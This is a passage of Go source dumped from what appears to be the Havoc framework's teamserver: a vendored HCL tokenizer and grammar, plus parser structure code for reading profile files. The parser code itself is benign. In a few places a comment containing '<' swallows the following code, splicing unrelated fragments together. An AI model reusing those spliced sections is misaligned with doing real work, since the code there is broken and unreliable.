normally be used // to mark the end of an attribute definition. // We might have either a \n sequence or an \r\n sequence // here, so we must handle both. nls := te - 1 nle := te te-- if data[te-1] == '\r' { // back up one more byte nls-- te-- } token(TokenCHeredoc) ts = nls te = nle token(TokenNewline) heredocs = heredocs[:len(heredocs)-1] top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } } topdoc.StartOfLine = true token(TokenStringLit) } case 26: //line scan_tokens.rl:259 te = p + 1 { token(TokenBadUTF8) } case 27: //line scan_tokens.rl:160 te = p p-- { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 28: //line scan_tokens.rl:170 te = p p-- { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 29: //line scan_tokens.rl:148 te = p p-- { // This action is called when a heredoc literal _doesn't_ end // with a newline character, e.g. because we're about to enter // an interpolation sequence. heredocs[len(heredocs)-1].StartOfLine = false token(TokenStringLit) } case 30: //line scan_tokens.rl:259 te = p p-- { token(TokenBadUTF8) } case 31: //line scan_tokens.rl:148 p = (te) - 1 { // This action is called when a heredoc literal _doesn't_ end // with a newline character, e.g. because we're about to enter // an interpolation sequence. heredocs[len(heredocs)-1].StartOfLine = false token(TokenStringLit) } case 32: //line NONE:1 switch act { case 0: { cs = 0 goto _again } case 11: { p = (te) - 1 // This action is called when a heredoc literal _doesn't_ end // with a newline character, e.g. because we're about to enter // an interpolation sequence. heredocs[len(heredocs)-1].StartOfLine = false token(TokenStringLit) } case 12: { p = (te) - 1 token(TokenBadUTF8) } } case 33: //line scan_tokens.rl:156 act = 15 case 34: //line scan_tokens.rl:266 act = 16 case 35: //line scan_tokens.rl:160 te = p + 1 { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 36: //line scan_tokens.rl:170 te = p + 1 { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 37: //line scan_tokens.rl:156 te = p + 1 { token(TokenStringLit) } case 38: //line scan_tokens.rl:266 te = p + 1 { token(TokenBadUTF8) } case 39: //line scan_tokens.rl:160 te = p p-- { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 40: //line scan_tokens.rl:170 te = p p-- { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 41: //line scan_tokens.rl:156 te = p p-- { token(TokenStringLit) } case 42: //line scan_tokens.rl:266 te = p p-- { token(TokenBadUTF8) } case 43: //line scan_tokens.rl:156 p = (te) - 1 { token(TokenStringLit) } case 44: //line NONE:1 switch act { case 0: { cs = 0 goto _again } case 15: { p = (te) - 1 token(TokenStringLit) } case 16: { p = (te) - 1 token(TokenBadUTF8) } } case 45: //line scan_tokens.rl:270 act = 17 case 46: //line scan_tokens.rl:271 act = 18 case 47: //line scan_tokens.rl:271 te = p + 1 { token(TokenBadUTF8) } case 48: //line scan_tokens.rl:272 te = p + 1 { token(TokenInvalid) } case 49: //line scan_tokens.rl:270 te = p p-- { token(TokenIdent) } case 50: //line scan_tokens.rl:271 te = p p-- { token(TokenBadUTF8) } case 51: //line scan_tokens.rl:270 p = (te) - 1 { token(TokenIdent) } case 52: //line scan_tokens.rl:271 p = (te) - 1 { token(TokenBadUTF8) } case 53: //line NONE:1 switch act { case 17: { p = (te) - 1 token(TokenIdent) } case 18: { p = (te) - 1 token(TokenBadUTF8) } } case 54: //line scan_tokens.rl:278 act = 22 case 55: //line scan_tokens.rl:301 act = 39 case 56: //line scan_tokens.rl:280 te = p + 1 { token(TokenComment) } case 57: //line scan_tokens.rl:281 te = p + 1 { token(TokenNewline) } case 58: //line scan_tokens.rl:283 te = p + 1 { token(TokenEqualOp) } case 59: //line scan_tokens.rl:284 te = p + 1 { token(TokenNotEqual) } case 60: //line scan_tokens.rl:285 te = p + 1 { token(TokenGreaterThanEq) } case 61: //line scan_tokens.rl:286 te = p + 1 { token(TokenLessThanEq) } case 62: //line scan_tokens.rl:287 te = p + 1 { token(TokenAnd) } case 63: //line scan_tokens.rl:288 te = p + 1 { token(TokenOr) } case 64: //line scan_tokens.rl:289 te = p + 1 { token(TokenEllipsis) } case 65: //line scan_tokens.rl:290 te = p + 1 { token(TokenFatArrow) } case 66: //line scan_tokens.rl:291 te = p + 1 { selfToken() } case 67: //line scan_tokens.rl:180 te = p + 1 { token(TokenOBrace) braces++ } case 68: //line scan_tokens.rl:185 te = p + 1 { if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd) braces-- retBraces = retBraces[0 : len(retBraces)-1] top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } else { token(TokenCBrace) braces-- } } case 69: //line scan_tokens.rl:197 te = p + 1 { // Only consume from the retBraces stack and return if we are at // a suitable brace nesting level, otherwise things will get // confused. (Not entering this branch indicates a syntax error, // which we will catch in the parser.) if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd) braces-- retBraces = retBraces[0 : len(retBraces)-1] top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } else { // We intentionally generate a TokenTemplateSeqEnd here, // even though the user apparently wanted a brace, because // we want to allow the parser to catch the incorrect use // of a ~} to balance a generic opening brace, rather than // a template sequence. token(TokenTemplateSeqEnd) braces-- } } case 70: //line scan_tokens.rl:79 te = p + 1 { token(TokenOQuote) { stack = append(stack, 0) stack[top] = cs top++ cs = 1509 goto _again } } case 71: //line scan_tokens.rl:89 te = p + 1 { token(TokenOHeredoc) // the token is currently the whole heredoc introducer, like // < 0; _nacts-- { _acts++ switch _hcltok_actions[_acts-1] { case 1: //line NONE:1 ts = 0 case 2: //line NONE:1 act = 0 //line scan_tokens.go:5073 } } if cs == 0 { goto _out } p++ if p != pe { goto _resume } _test_eof: { } if p == eof { if _hcltok_eof_trans[cs] > 0 { _trans = int(_hcltok_eof_trans[cs] - 1) goto _eof_trans } } _out: { } } //line scan_tokens.rl:363 // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which we'll // deal with as an invalid. if cs < hcltok_first_final { if mode == scanTemplate && len(stack) == 0 { // If we're scanning a bare template then any straggling // top-level stuff is actually literal string, rather than // invalid. This handles the case where the template ends // with a single "$" or "%", which trips us up because we // want to see another character to decide if it's a sequence // or an escape. f.emitToken(TokenStringLit, ts, len(data)) } else { f.emitToken(TokenInvalid, ts, len(data)) } } // We always emit a synthetic EOF token at the end, since it gives the // parser position information for an "unexpected EOF" diagnostic. f.emitToken(TokenEOF, len(data), len(data)) return f.Tokens } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/scan_tokens.rl ================================================ package hclsyntax import ( "bytes" "Havoc/pkg/profile/yaotl" ) // This file is generated from scan_tokens.rl. DO NOT EDIT. %%{ # (except when you are actually in scan_tokens.rl here, so edit away!) machine hcltok; write data; }%% func scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token { stripData := stripUTF8BOM(data) start.Byte += len(data) - len(stripData) data = stripData f := &tokenAccum{ Filename: filename, Bytes: data, Pos: start, StartByte: start.Byte, } %%{ include UnicodeDerived "unicode_derived.rl"; UTF8Cont = 0x80 .. 0xBF; AnyUTF8 = ( 0x00..0x7F | 0xC0..0xDF . UTF8Cont | 0xE0..0xEF . UTF8Cont . UTF8Cont | 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont ); BrokenUTF8 = any - AnyUTF8; NumberLitContinue = (digit|'.'|('e'|'E') ('+'|'-')? digit); NumberLit = digit ("" | (NumberLitContinue - '.') | (NumberLitContinue* (NumberLitContinue - '.'))); Ident = (ID_Start | '_') (ID_Continue | '-')*; # Symbols that just represent themselves are handled as a single rule. SelfToken = "[" | "]" | "(" | ")" | "." | "," | "*" | "/" | "%" | "+" | "-" | "=" | "<" | ">" | "!" | "?" | ":" | "\n" | "&" | "|" | "~" | "^" | ";" | "`" | "'"; EqualOp = "=="; NotEqual = "!="; GreaterThanEqual = ">="; LessThanEqual = "<="; LogicalAnd = "&&"; LogicalOr = "||"; Ellipsis = "..."; FatArrow = "=>"; Newline = '\r' ? '\n'; EndOfLine = Newline; BeginStringTmpl = '"'; BeginHeredocTmpl = '<<' ('-')? Ident Newline; Comment = ( # The :>> operator in these is a "finish-guarded concatenation", # which terminates the sequence on its left when it completes # the sequence on its right. # In the single-line comment cases this is allowing us to make # the trailing EndOfLine optional while still having the overall # pattern terminate. In the multi-line case it ensures that # the first comment in the file ends at the first */, rather than # gobbling up all of the "any*" until the _final_ */ in the file. ("#" (any - EndOfLine)* :>> EndOfLine?) | ("//" (any - EndOfLine)* :>> EndOfLine?) | ("/*" any* :>> "*/") ); # Note: hclwrite assumes that only ASCII spaces appear between tokens, # and uses this assumption to recreate the spaces between tokens by # looking at byte offset differences. This means it will produce # incorrect results in the presence of tabs, but that's acceptable # because the canonical style (which hclwrite itself can impose # automatically is to never use tabs). Spaces = (' ' | 0x09)+; action beginStringTemplate { token(TokenOQuote); fcall stringTemplate; } action endStringTemplate { token(TokenCQuote); fret; } action beginHeredocTemplate { token(TokenOHeredoc); // the token is currently the whole heredoc introducer, like // < 0 { heredocs[len(heredocs)-1].StartOfLine = false; } fcall main; } action beginTemplateControl { token(TokenTemplateControl); braces++; retBraces = append(retBraces, braces); if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false; } fcall main; } action openBrace { token(TokenOBrace); braces++; } action closeBrace { if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd); braces--; retBraces = retBraces[0:len(retBraces)-1] fret; } else { token(TokenCBrace); braces--; } } action closeTemplateSeqEatWhitespace { // Only consume from the retBraces stack and return if we are at // a suitable brace nesting level, otherwise things will get // confused. (Not entering this branch indicates a syntax error, // which we will catch in the parser.) if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd); braces--; retBraces = retBraces[0:len(retBraces)-1] fret; } else { // We intentionally generate a TokenTemplateSeqEnd here, // even though the user apparently wanted a brace, because // we want to allow the parser to catch the incorrect use // of a ~} to balance a generic opening brace, rather than // a template sequence. token(TokenTemplateSeqEnd); braces--; } } TemplateInterp = "${" ("~")?; TemplateControl = "%{" ("~")?; EndStringTmpl = '"'; NewlineChars = ("\r"|"\n"); NewlineCharsSeq = NewlineChars+; StringLiteralChars = (AnyUTF8 - NewlineChars); TemplateIgnoredNonBrace = (^'{' %{ fhold; }); TemplateNotInterp = '$' (TemplateIgnoredNonBrace | TemplateInterp); TemplateNotControl = '%' (TemplateIgnoredNonBrace | TemplateControl); QuotedStringLiteralWithEsc = ('\\' StringLiteralChars) | (StringLiteralChars - ("$" | '%' | '"' | "\\")); TemplateStringLiteral = ( (TemplateNotInterp) | (TemplateNotControl) | (QuotedStringLiteralWithEsc)+ ); HeredocStringLiteral = ( (TemplateNotInterp) | (TemplateNotControl) | (StringLiteralChars - ("$" | '%'))* ); BareStringLiteral = ( (TemplateNotInterp) | (TemplateNotControl) | (StringLiteralChars - ("$" | '%'))* ) Newline?; stringTemplate := |* TemplateInterp => beginTemplateInterp; TemplateControl => beginTemplateControl; EndStringTmpl => endStringTemplate; TemplateStringLiteral => { token(TokenQuotedLit); }; NewlineCharsSeq => { token(TokenQuotedNewline); }; AnyUTF8 => { token(TokenInvalid); }; BrokenUTF8 => { token(TokenBadUTF8); }; *|; heredocTemplate := |* TemplateInterp => beginTemplateInterp; TemplateControl => beginTemplateControl; HeredocStringLiteral EndOfLine => heredocLiteralEOL; HeredocStringLiteral => heredocLiteralMidline; BrokenUTF8 => { token(TokenBadUTF8); }; *|; bareTemplate := |* TemplateInterp => beginTemplateInterp; TemplateControl => beginTemplateControl; BareStringLiteral => bareTemplateLiteral; BrokenUTF8 => { token(TokenBadUTF8); }; *|; identOnly := |* Ident => { token(TokenIdent) }; BrokenUTF8 => { token(TokenBadUTF8) }; AnyUTF8 => { token(TokenInvalid) }; *|; main := |* Spaces => {}; NumberLit => { token(TokenNumberLit) }; Ident => { token(TokenIdent) }; Comment => { token(TokenComment) }; Newline => { token(TokenNewline) }; EqualOp => { token(TokenEqualOp); }; NotEqual => { token(TokenNotEqual); }; GreaterThanEqual => { token(TokenGreaterThanEq); }; LessThanEqual => { token(TokenLessThanEq); }; LogicalAnd => { token(TokenAnd); }; LogicalOr => { token(TokenOr); }; Ellipsis => { token(TokenEllipsis); }; FatArrow => { token(TokenFatArrow); }; SelfToken => { selfToken() }; "{" => openBrace; "}" => closeBrace; "~}" => closeTemplateSeqEatWhitespace; BeginStringTmpl => beginStringTemplate; BeginHeredocTmpl => beginHeredocTemplate; BrokenUTF8 => { token(TokenBadUTF8) }; AnyUTF8 => { token(TokenInvalid) }; *|; }%% // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 act := 0 eof := pe var stack []int var top int var cs int // current state switch mode { case scanNormal: cs = hcltok_en_main case scanTemplate: cs = hcltok_en_bareTemplate case scanIdentOnly: cs = hcltok_en_identOnly default: panic("invalid scanMode") } braces := 0 var retBraces []int // stack of brace levels that cause us to use fret var heredocs []heredocInProgress // stack of heredocs we're currently processing %%{ prepush { stack = append(stack, 0); } postpop { stack = stack[:len(stack)-1]; } }%% // Make Go compiler happy _ = ts _ = te _ = act _ = eof token := func (ty TokenType) { f.emitToken(ty, ts, te) } selfToken := func () { b := data[ts:te] if len(b) != 1 { // should never happen panic("selfToken only works for single-character tokens") } f.emitToken(TokenType(b[0]), ts, te) } %%{ write init nocs; write exec; }%% // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which we'll // deal with as an invalid. if cs < hcltok_first_final { if mode == scanTemplate && len(stack) == 0 { // If we're scanning a bare template then any straggling // top-level stuff is actually literal string, rather than // invalid. This handles the case where the template ends // with a single "$" or "%", which trips us up because we // want to see another character to decide if it's a sequence // or an escape. f.emitToken(TokenStringLit, ts, len(data)) } else { f.emitToken(TokenInvalid, ts, len(data)) } } // We always emit a synthetic EOF token at the end, since it gives the // parser position information for an "unexpected EOF" diagnostic. f.emitToken(TokenEOF, len(data), len(data)) return f.Tokens } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/structure.go ================================================ package hclsyntax import ( "fmt" "strings" "Havoc/pkg/profile/yaotl" ) // AsHCLBlock returns the block data expressed as a *hcl.Block. func (b *Block) AsHCLBlock() *hcl.Block { if b == nil { return nil } lastHeaderRange := b.TypeRange if len(b.LabelRanges) > 0 { lastHeaderRange = b.LabelRanges[len(b.LabelRanges)-1] } return &hcl.Block{ Type: b.Type, Labels: b.Labels, Body: b.Body, DefRange: hcl.RangeBetween(b.TypeRange, lastHeaderRange), TypeRange: b.TypeRange, LabelRanges: b.LabelRanges, } } // Body is the implementation of hcl.Body for the HCL native syntax. type Body struct { Attributes Attributes Blocks Blocks // These are used with PartialContent to produce a "remaining items" // body to return. They are nil on all bodies fresh out of the parser. hiddenAttrs map[string]struct{} hiddenBlocks map[string]struct{} SrcRange hcl.Range EndRange hcl.Range // Final token of the body, for reporting missing items } // Assert that *Body implements hcl.Body var assertBodyImplBody hcl.Body = &Body{} func (b *Body) walkChildNodes(w internalWalkFunc) { w(b.Attributes) w(b.Blocks) } func (b *Body) Range() hcl.Range { return b.SrcRange } func (b *Body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, remainHCL, diags := b.PartialContent(schema) // No we'll see if anything actually remains, to produce errors about // extraneous items. remain := remainHCL.(*Body) for name, attr := range b.Attributes { if _, hidden := remain.hiddenAttrs[name]; !hidden { var suggestions []string for _, attrS := range schema.Attributes { if _, defined := content.Attributes[attrS.Name]; defined { continue } suggestions = append(suggestions, attrS.Name) } suggestion := nameSuggestion(name, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } else { // Is there a block of the same name? for _, blockS := range schema.Blocks { if blockS.Type == name { suggestion = fmt.Sprintf(" Did you mean to define a block of type %q?", name) break } } } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported argument", Detail: fmt.Sprintf("An argument named %q is not expected here.%s", name, suggestion), Subject: &attr.NameRange, }) } } for _, block := range b.Blocks { blockTy := block.Type if _, hidden := remain.hiddenBlocks[blockTy]; !hidden { var suggestions []string for _, blockS := range schema.Blocks { suggestions = append(suggestions, blockS.Type) } suggestion := nameSuggestion(blockTy, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } else { // Is there an attribute of the same name? for _, attrS := range schema.Attributes { if attrS.Name == blockTy { suggestion = fmt.Sprintf(" Did you mean to define argument %q? If so, use the equals sign to assign it a value.", blockTy) break } } } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported block type", Detail: fmt.Sprintf("Blocks of type %q are not expected here.%s", blockTy, suggestion), Subject: &block.TypeRange, }) } } return content, diags } func (b *Body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { attrs := make(hcl.Attributes) var blocks hcl.Blocks var diags hcl.Diagnostics hiddenAttrs := make(map[string]struct{}) hiddenBlocks := make(map[string]struct{}) if b.hiddenAttrs != nil { for k, v := range b.hiddenAttrs { hiddenAttrs[k] = v } } if b.hiddenBlocks != nil { for k, v := range b.hiddenBlocks { hiddenBlocks[k] = v } } for _, attrS := range schema.Attributes { name := attrS.Name attr, exists := b.Attributes[name] _, hidden := hiddenAttrs[name] if hidden || !exists { if attrS.Required { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing required argument", Detail: fmt.Sprintf("The argument %q is required, but no definition was found.", attrS.Name), Subject: b.MissingItemRange().Ptr(), }) } continue } hiddenAttrs[name] = struct{}{} attrs[name] = attr.AsHCLAttribute() } blocksWanted := make(map[string]hcl.BlockHeaderSchema) for _, blockS := range schema.Blocks { blocksWanted[blockS.Type] = blockS } for _, block := range b.Blocks { if _, hidden := hiddenBlocks[block.Type]; hidden { continue } blockS, wanted := blocksWanted[block.Type] if !wanted { continue } if len(block.Labels) > len(blockS.LabelNames) { name := block.Type if len(blockS.LabelNames) == 0 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Extraneous label for %s", name), Detail: fmt.Sprintf( "No labels are expected for %s blocks.", name, ), Subject: block.LabelRanges[0].Ptr(), Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Extraneous label for %s", name), Detail: fmt.Sprintf( "Only %d labels (%s) are expected for %s blocks.", len(blockS.LabelNames), strings.Join(blockS.LabelNames, ", "), name, ), Subject: block.LabelRanges[len(blockS.LabelNames)].Ptr(), Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), }) } continue } if len(block.Labels) < len(blockS.LabelNames) { name := block.Type diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s for %s", blockS.LabelNames[len(block.Labels)], name), Detail: fmt.Sprintf( "All %s blocks must have %d labels (%s).", name, len(blockS.LabelNames), strings.Join(blockS.LabelNames, ", "), ), Subject: &block.OpenBraceRange, Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), }) continue } blocks = append(blocks, block.AsHCLBlock()) } // We hide blocks only after we've processed all of them, since otherwise // we can't process more than one of the same type. for _, blockS := range schema.Blocks { hiddenBlocks[blockS.Type] = struct{}{} } remain := &Body{ Attributes: b.Attributes, Blocks: b.Blocks, hiddenAttrs: hiddenAttrs, hiddenBlocks: hiddenBlocks, SrcRange: b.SrcRange, EndRange: b.EndRange, } return &hcl.BodyContent{ Attributes: attrs, Blocks: blocks, MissingItemRange: b.MissingItemRange(), }, remain, diags } func (b *Body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { attrs := make(hcl.Attributes) var diags hcl.Diagnostics if len(b.Blocks) > 0 { example := b.Blocks[0] diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %q block", example.Type), Detail: "Blocks are not allowed here.", Subject: &example.TypeRange, }) // we will continue processing anyway, and return the attributes // we are able to find so that certain analyses can still be done // in the face of errors. } if b.Attributes == nil { return attrs, diags } for name, attr := range b.Attributes { if _, hidden := b.hiddenAttrs[name]; hidden { continue } attrs[name] = attr.AsHCLAttribute() } return attrs, diags } func (b *Body) MissingItemRange() hcl.Range { return hcl.Range{ Filename: b.SrcRange.Filename, Start: b.SrcRange.Start, End: b.SrcRange.Start, } } // Attributes is the collection of attribute definitions within a body. type Attributes map[string]*Attribute func (a Attributes) walkChildNodes(w internalWalkFunc) { for _, attr := range a { w(attr) } } // Range returns the range of some arbitrary point within the set of // attributes, or an invalid range if there are no attributes. // // This is provided only to complete the Node interface, but has no practical // use. func (a Attributes) Range() hcl.Range { // An attributes doesn't really have a useful range to report, since // it's just a grouping construct. So we'll arbitrarily take the // range of one of the attributes, or produce an invalid range if we have // none. In practice, there's little reason to ask for the range of // an Attributes. for _, attr := range a { return attr.Range() } return hcl.Range{ Filename: "", } } // Attribute represents a single attribute definition within a body. type Attribute struct { Name string Expr Expression SrcRange hcl.Range NameRange hcl.Range EqualsRange hcl.Range } func (a *Attribute) walkChildNodes(w internalWalkFunc) { w(a.Expr) } func (a *Attribute) Range() hcl.Range { return a.SrcRange } // AsHCLAttribute returns the block data expressed as a *hcl.Attribute. func (a *Attribute) AsHCLAttribute() *hcl.Attribute { if a == nil { return nil } return &hcl.Attribute{ Name: a.Name, Expr: a.Expr, Range: a.SrcRange, NameRange: a.NameRange, } } // Blocks is the list of nested blocks within a body. type Blocks []*Block func (bs Blocks) walkChildNodes(w internalWalkFunc) { for _, block := range bs { w(block) } } // Range returns the range of some arbitrary point within the list of // blocks, or an invalid range if there are no blocks. // // This is provided only to complete the Node interface, but has no practical // use. func (bs Blocks) Range() hcl.Range { if len(bs) > 0 { return bs[0].Range() } return hcl.Range{ Filename: "", } } // Block represents a nested block structure type Block struct { Type string Labels []string Body *Body TypeRange hcl.Range LabelRanges []hcl.Range OpenBraceRange hcl.Range CloseBraceRange hcl.Range } func (b *Block) walkChildNodes(w internalWalkFunc) { w(b.Body) } func (b *Block) Range() hcl.Range { return hcl.RangeBetween(b.TypeRange, b.CloseBraceRange) } func (b *Block) DefRange() hcl.Range { return hcl.RangeBetween(b.TypeRange, b.OpenBraceRange) } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/structure_at_pos.go ================================================ package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // ----------------------------------------------------------------------------- // The methods in this file are all optional extension methods that serve to // implement the methods of the same name on *hcl.File when its root body // is provided by this package. // ----------------------------------------------------------------------------- // BlocksAtPos implements the method of the same name for an *hcl.File that // is backed by a *Body. func (b *Body) BlocksAtPos(pos hcl.Pos) []*hcl.Block { list, _ := b.blocksAtPos(pos, true) return list } // InnermostBlockAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) InnermostBlockAtPos(pos hcl.Pos) *hcl.Block { _, innermost := b.blocksAtPos(pos, false) return innermost.AsHCLBlock() } // OutermostBlockAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) OutermostBlockAtPos(pos hcl.Pos) *hcl.Block { return b.outermostBlockAtPos(pos).AsHCLBlock() } // blocksAtPos is the internal engine of both BlocksAtPos and // InnermostBlockAtPos, which both need to do the same logic but return a // differently-shaped result. // // list is nil if makeList is false, avoiding an allocation. Innermost is // always set, and if the returned list is non-nil it will always match the // final element from that list. func (b *Body) blocksAtPos(pos hcl.Pos, makeList bool) (list []*hcl.Block, innermost *Block) { current := b Blocks: for current != nil { for _, block := range current.Blocks { wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange) if wholeRange.ContainsPos(pos) { innermost = block if makeList { list = append(list, innermost.AsHCLBlock()) } current = block.Body continue Blocks } } // If we fall out here then none of the current body's nested blocks // contain the position we are looking for, and so we're done. break } return } // outermostBlockAtPos is the internal version of OutermostBlockAtPos that // returns a hclsyntax.Block rather than an hcl.Block, allowing for further // analysis if necessary. func (b *Body) outermostBlockAtPos(pos hcl.Pos) *Block { // This is similar to blocksAtPos, but simpler because we know it only // ever needs to search the first level of nested blocks. for _, block := range b.Blocks { wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange) if wholeRange.ContainsPos(pos) { return block } } return nil } // AttributeAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) AttributeAtPos(pos hcl.Pos) *hcl.Attribute { return b.attributeAtPos(pos).AsHCLAttribute() } // attributeAtPos is the internal version of AttributeAtPos that returns a // hclsyntax.Block rather than an hcl.Block, allowing for further analysis if // necessary. func (b *Body) attributeAtPos(pos hcl.Pos) *Attribute { searchBody := b _, block := b.blocksAtPos(pos, false) if block != nil { searchBody = block.Body } for _, attr := range searchBody.Attributes { if attr.SrcRange.ContainsPos(pos) { return attr } } return nil } // OutermostExprAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) OutermostExprAtPos(pos hcl.Pos) hcl.Expression { attr := b.attributeAtPos(pos) if attr == nil { return nil } if !attr.Expr.Range().ContainsPos(pos) { return nil } return attr.Expr } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/token.go ================================================ package hclsyntax import ( "bytes" "fmt" "github.com/apparentlymart/go-textseg/v13/textseg" "Havoc/pkg/profile/yaotl" ) // Token represents a sequence of bytes from some HCL code that has been // tagged with a type and its range within the source file. type Token struct { Type TokenType Bytes []byte Range hcl.Range } // Tokens is a slice of Token. type Tokens []Token // TokenType is an enumeration used for the Type field on Token. type TokenType rune const ( // Single-character tokens are represented by their own character, for // convenience in producing these within the scanner. However, the values // are otherwise arbitrary and just intended to be mnemonic for humans // who might see them in debug output. TokenOBrace TokenType = '{' TokenCBrace TokenType = '}' TokenOBrack TokenType = '[' TokenCBrack TokenType = ']' TokenOParen TokenType = '(' TokenCParen TokenType = ')' TokenOQuote TokenType = '«' TokenCQuote TokenType = '»' TokenOHeredoc TokenType = 'H' TokenCHeredoc TokenType = 'h' TokenStar TokenType = '*' TokenSlash TokenType = '/' TokenPlus TokenType = '+' TokenMinus TokenType = '-' TokenPercent TokenType = '%' TokenEqual TokenType = '=' TokenEqualOp TokenType = '≔' TokenNotEqual TokenType = '≠' TokenLessThan TokenType = '<' TokenLessThanEq TokenType = '≤' TokenGreaterThan TokenType = '>' TokenGreaterThanEq TokenType = '≥' TokenAnd TokenType = '∧' TokenOr TokenType = '∨' TokenBang TokenType = '!' TokenDot TokenType = '.' TokenComma TokenType = ',' TokenEllipsis TokenType = '…' TokenFatArrow TokenType = '⇒' TokenQuestion TokenType = '?' TokenColon TokenType = ':' TokenTemplateInterp TokenType = '∫' TokenTemplateControl TokenType = 'λ' TokenTemplateSeqEnd TokenType = '∎' TokenQuotedLit TokenType = 'Q' // might contain backslash escapes TokenStringLit TokenType = 'S' // cannot contain backslash escapes TokenNumberLit TokenType = 'N' TokenIdent TokenType = 'I' TokenComment TokenType = 'C' TokenNewline TokenType = '\n' TokenEOF TokenType = '␄' // The rest are not used in the language but recognized by the scanner so // we can generate good diagnostics in the parser when users try to write // things that might work in other languages they are familiar with, or // simply make incorrect assumptions about the HCL language. TokenBitwiseAnd TokenType = '&' TokenBitwiseOr TokenType = '|' TokenBitwiseNot TokenType = '~' TokenBitwiseXor TokenType = '^' TokenStarStar TokenType = '➚' TokenApostrophe TokenType = '\'' TokenBacktick TokenType = '`' TokenSemicolon TokenType = ';' TokenTabs TokenType = '␉' TokenInvalid TokenType = '�' TokenBadUTF8 TokenType = '💩' TokenQuotedNewline TokenType = '␤' // TokenNil is a placeholder for when a token is required but none is // available, e.g. when reporting errors. The scanner will never produce // this as part of a token stream. TokenNil TokenType = '\x00' ) func (t TokenType) GoString() string { return fmt.Sprintf("hclsyntax.%s", t.String()) } type scanMode int const ( scanNormal scanMode = iota scanTemplate scanIdentOnly ) type tokenAccum struct { Filename string Bytes []byte Pos hcl.Pos Tokens []Token StartByte int } func (f *tokenAccum) emitToken(ty TokenType, startOfs, endOfs int) { // Walk through our buffer to figure out how much we need to adjust // the start pos to get our end pos. start := f.Pos start.Column += startOfs + f.StartByte - f.Pos.Byte // Safe because only ASCII spaces can be in the offset start.Byte = startOfs + f.StartByte end := start end.Byte = endOfs + f.StartByte b := f.Bytes[startOfs:endOfs] for len(b) > 0 { advance, seq, _ := textseg.ScanGraphemeClusters(b, true) if (len(seq) == 1 && seq[0] == '\n') || (len(seq) == 2 && seq[0] == '\r' && seq[1] == '\n') { end.Line++ end.Column = 1 } else { end.Column++ } b = b[advance:] } f.Pos = end f.Tokens = append(f.Tokens, Token{ Type: ty, Bytes: f.Bytes[startOfs:endOfs], Range: hcl.Range{ Filename: f.Filename, Start: start, End: end, }, }) } type heredocInProgress struct { Marker []byte StartOfLine bool } func 